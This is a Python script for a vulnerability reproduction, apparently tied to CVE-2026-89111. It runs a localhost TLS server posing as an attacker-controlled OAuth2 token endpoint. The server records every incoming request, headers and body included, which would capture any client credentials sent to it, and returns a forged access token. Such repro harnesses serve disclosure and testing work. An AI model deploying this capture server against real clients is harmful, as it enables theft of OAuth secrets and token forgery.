#!/usr/bin/env python3
"""Attacker-controlled OAuth2 token endpoint used by the CVE-2026-89111 repro.

Listens on https://127.0.0.1:<port> (TLS with a locally generated self-signed
cert), appends every inbound request (method, path, headers, body) as one JSON
line to <capture_file>, and answers with a valid OAuth2 client-credentials
token response so the SDK flow completes.

Usage: attacker_server.py <capture_file> <port> <cert_pem> <key_pem>
"""
import json
import ssl
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

CAPTURE_FILE = sys.argv[1]
PORT = int(sys.argv[2])
CERT_PEM = sys.argv[3]
KEY_PEM = sys.argv[4]


class CaptureHandler(BaseHTTPRequestHandler):
    def _handle(self):
        length = int(self.headers.get("Content-Length") or 0)
        body = self.rfile.read(length).decode("utf-8", "replace") if length else ""
        record = {
            "method": self.command,
            "path": self.path,
            "headers": {k: v for k, v in self.headers.items()},
            "body": body,
        }
        with open(CAPTURE_FILE, "a", encoding="utf-8") as fh:
            fh.write(json.dumps(record) + "\n")
        payload = (
            b'{"access_token":"ATTACKER_ISSUED_TOKEN",'
            b'"token_type":"bearer","expires_in":3600}'
        )
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(payload)))
        self.end_headers()
        self.wfile.write(payload)

    do_GET = _handle
    do_POST = _handle

    def log_message(self, fmt, *args):  # silence default stderr logging
        pass


if __name__ == "__main__":
    server = HTTPServer(("127.0.0.1", PORT), CaptureHandler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(CERT_PEM, KEY_PEM)
    server.socket = ctx.wrap_socket(server.socket, server_side=True)
    print(f"attacker server listening on https://127.0.0.1:{PORT}", flush=True)
    server.serve_forever()
